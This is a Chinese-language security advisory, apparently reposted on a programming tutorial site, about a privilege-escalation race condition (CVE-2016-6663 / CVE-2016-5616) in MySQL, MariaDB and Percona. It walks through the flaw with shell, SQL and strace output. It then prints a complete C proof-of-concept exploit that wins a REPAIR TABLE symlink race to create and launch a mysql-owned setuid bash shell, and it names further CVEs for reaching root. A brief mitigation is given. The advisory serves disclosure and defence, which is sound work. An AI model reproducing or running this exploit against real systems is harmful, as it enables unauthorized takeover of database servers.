MySQL / MariaDB / PerconaDB漏洞

《MySQL / MariaDB / PerconaDB漏洞》要点:
本文介绍了MySQL / MariaDB / PerconaDB漏洞,希望对您有用。如果有疑问,可以联系我们。

【漏洞预警】MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)(8:00更新)

MySQL / MariaDB / PerconaDB漏洞

漏洞发现人:Dawid Golunski

漏洞级别:严重

CVE编号 :CVE-2016-6663 / CVE-2016-5616

漏洞影响:

MariaDB< 5.5.52
< 10.1.18
< 10.0.28
MySQL<= 5.5.51
<= 5.6.32
<= 5.7.14
Percona Server< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8
Percona XtraDB Cluster< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

漏洞描述 :

Dawid Golunski在 MySQl,MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码.成功利用此漏洞,允许攻击者完全访问数据库.也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限.

漏洞细节:

基于MYSQL的数据库允许用户新建数据库,并且指定存储目录.例如:

1
<p style="text-indent: 2em;">attacker@debian:~$ mkdir /tmp/disktable<br>attacker@debian:~$ chmod 777 /tmp/disktable/<br>attacker@debian:~$ ls -ld /tmp/disktable/<br>drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/<br></p>

可以通过data directory参数指定存储目录为/tmp/disktable/

1
<p style="text-indent: 2em;">mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';<br></p>

执行完成后,查看下目录权限,变为mysql

1
<p style="text-indent: 2em;">attacker@debian:~$ ls -l /tmp/disktable/<br>total 0<br>-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD<br></p>

低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建.

1
<p style="text-indent: 2em;">mysql> REPAIR TABLE `poctab1`;<br>+----------------+--------+----------+----------+<br>| Table | Op | Msg_type | Msg_text |<br>+----------------+--------+----------+----------+<br>| testdb.poctab1 | repair | status | OK |<br>+----------------+--------+----------+----------+<br></p>

通过查看系统调用,可以看到

1
<p style="text-indent: 2em;">[pid 1463] lstat("/tmp/disktable/poctab1.MYD",{st_mode=S_IFREG|0660,st_size=0,...}) = 0<br>[pid 1463] open("/tmp/disktable/poctab1.MYD",O_RDWR) = 65<br>[pid 1463] access("./testdb/poctab1.TRG",F_OK) = -1 ENOENT (No such file or directory)<br>[pid 1463] lseek(65,SEEK_CUR) = 0<br>[pid 1463] lseek(65,SEEK_END) = 0<br>[pid 1463] mprotect(0x7f6a3804f000,12288,PROT_READ|PROT_WRITE) = 0<br>[pid 1463] open("/tmp/disktable/poctab1.TMD",O_RDWR|O_CREAT|O_EXCL|O_TRUNC,0660) = 66<br>[pid 1463] lseek(65,SEEK_END) = 0<br>[pid 1463] lseek(64,SEEK_END) = 1024<br>[pid 1463] close(65) = 0<br>[pid 1463] close(66) = 0<br>[pid 1463] lstat("/tmp",{st_mode=S_IFDIR|S_ISVTX|0777,st_size=4096,...}) = 0<br>[pid 1463] lstat("/tmp/disktable",{st_mode=S_IFDIR|0777,...}) = 0<br>[pid 1463] lstat("/tmp/disktable/poctab1.MYD",...}) = 0<br>[pid 1463] stat("/tmp/disktable/poctab1.MYD",...}) = 0<br>[pid 1463] chmod("/tmp/disktable/poctab1.TMD",0660) = 0<br>[pid 1463] chown("/tmp/disktable/poctab1.TMD",110,115) = 0<br>[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0<br>[pid 1463] rename("/tmp/disktable/poctab1.TMD","/tmp/disktable/poctab1.MYD") = 0<br></p>

第一个系统调用是

1
<p style="text-indent: 2em;">[pid 1463] lstat("/tmp/disktable/poctab1.MYD",...}) = 0<br></p>

我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限.因此在

1
<p style="text-indent: 2em;">[pid 1463] lstat("/tmp/disktable/poctab1.MYD",...}) = 0<br></p>

1
<p style="text-indent: 2em;">[pid 1463] chmod("/tmp/disktable/poctab1.TMD",0660) = 0<br></p>

系统调用之间,产生了条件竞争漏洞.

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限.

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令.这里会有一个问题,suid shell将指挥保留攻击者的UID,而不是'mysql'用户.因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限.

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制

新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)

1
<p style="text-indent: 2em;">attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/<br>attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/<br>drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/<br></p>

通过data directory参数指定存储目录为/tmp/disktable/

1
<p style="text-indent: 2em;">mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';<br>Query OK,0 rows affected (0.00 sec)<br></p>

再次查看/tmp/disktable/权限

1
2
3
4
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组.这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了.

漏洞验证:

MySQL / MariaDB / PerconaDB漏洞

MySQL / MariaDB / PerconaDB漏洞

POC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n",argv0);
}
void mysql_cmd(char *sql_cmd,int silent) {
if (!silent) {
printf("%s \n",sql_cmd);
}
if (mysql_query(conn,sql_cmd)) {
fprintf(stderr,"%s\n",mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout,NULL,_IONBF,0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n",database,user,db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn,db_host,password,0)) {
fprintf(stderr,mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n","/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table",0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell",0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'",0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'",0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd,EXP_PATH,IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file ,remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table",1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'",1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork,to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr,"Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED",1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd,buf,sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name,"exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE,O_CREAT,0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE,04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL,MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid,&status,0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL,&st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n",cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}

视频参考(作者随后上传):

http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html

临时解决办法:

在my.cnf中添加

symbolic-links = 0

参考链接:

http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

欢迎参与《MySQL / MariaDB / PerconaDB漏洞》讨论,分享您的想法,编程之家PHP学院为您提供专业教程。

相关文章

MySQL 死锁 是指两个或多个事务互相等待对方持有的锁,从而导...
在MySQL中,InnoDB引擎通过Next-Key Locking技术来解决幻读问...
在数据库事务管理中,Undo Log 和 Redo Log 是两种关键日志,...
case when概述 sql语句中的case语句与高级语言中的switch语句...
其实很简单,只是为了忘记,做个记录,用的时候方便。 不管是...
1.进入服务,找到mysql服务,在属性里找到mysql的安装路径 2...